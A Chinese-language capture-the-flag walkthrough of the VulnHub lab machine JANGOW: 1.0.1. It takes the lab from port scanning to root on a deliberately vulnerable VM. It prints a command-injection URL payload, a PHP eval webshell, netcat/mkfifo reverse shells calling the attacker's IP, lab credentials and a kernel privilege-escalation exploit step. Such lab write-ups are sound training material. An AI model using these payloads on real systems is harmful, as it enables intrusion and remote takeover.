vulnhub靶场,JANGOW: 1.0.1
环境准备
靶机下载地址:https://www.vulnhub.com/entry/jangow-101,754/ 攻击机:kali(192.168.109.128) 靶机:JANGOW: 1.0.1(192.168.109.198) 下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式 目标:提升为root权限获取root目录下的flag
信息收集
使用arp-scan确定目标靶机  确定目标靶机IP为192.168.109.198 使用nmap扫描查看目标靶机端口开放情况  开放端口:21、80 浏览器访问目标靶机80端口  然后访问site 目录  查看页面和源代码并没有发现什么,点击右上角的Buscar 出现如下空白页面  url右边是不是少了什么,试试在后面加上要执行的命令  命令竟然成了执行了,竟然这么简单,说明这里存在命令执行漏洞
渗透过程
尝试反弹shell
kali上执行:nc -lvvp 4444
靶机上执行:http://192.168.109.198/site/busque.php?buscar=/bin/sh%20-i%20%3E&%20/dev/tcp/192.168.109.128/4444%200%3E&1
 但是发现反弹shell失败了,使用其他的反弹shell方法均失败,猜测这里可能是对什么做了限制,那就尝试写入一句话木马
http://192.168.109.198/site/busque.php?buscar=echo '<?php @eval($_POST['x']); ?>' >> icepeak.php
查看是否写入成功  使用蚁剑进行连接  在/var/www/html/site/wordpress/ 目录发现config.php 文件  发现一个用户名密码:desafio02:abygurl69 在/var/www/html/ 目录发现.backup 文件  发现另外一个用户名密码:jangow01:abygurl69 但是对方并没有开启ssh端口,开启了ftp端口,使用这两个用户名和密码尝试连接一下ftp desafio02 用户无法连接,jangow01 用户可以连接  但是在jangow01 用户下也没有发现什么 
提权过程
在蚁剑终端输入命令不是很方便,尝试反弹shell 使用蚁剑在/var/www/html/site/ 下面新建shell.php 文件 文件内容
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.109.128 443 >/tmp/f");?>

然后kali监听自己的443端口:nc -lvvp 443
浏览器去访问shell.php文件:http://192.168.109.198/site/shell.php
即可看到反弹回来的shell  这里说一下为什么选择了443端口,因为其他的端口都反弹不了,可能是靶机做了限制,只能443端口是可行的,再就是为啥不在蚁剑终端去输入命令反弹shell,而是去新建文件,这里我也试过了,直接在蚁剑终端输入命令反弹回来的shell是有问题的,输入命令没有回显 获取交互式的shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
 使用之前获取的账号密码看是否能登陆上去  还是一样,只能登入到jangow01 用户 查看jangow01 用户的sudo命令  没有能够利用的,查看系统内核版本  可以看到靶机内核版本为4.4.0-31 搜索一下是否有能利用的exp  将45010.c下载到本地  先编译好然后使用python搭建临时http服务器传过去
gcc 45010.c -o exp
python3 -m http.server 8000
 然后靶机下载该exp  但是这里下载会不成功,可能也是靶机做了限制,那就使用ftp传上去  上传成功之后来到jangow01 用户的家目录  给exp给予执行的权限并执行  成功提升为root权限,在其root目录下获取最终的flag,靶机JANGOW: 1.0.1渗透结束 
|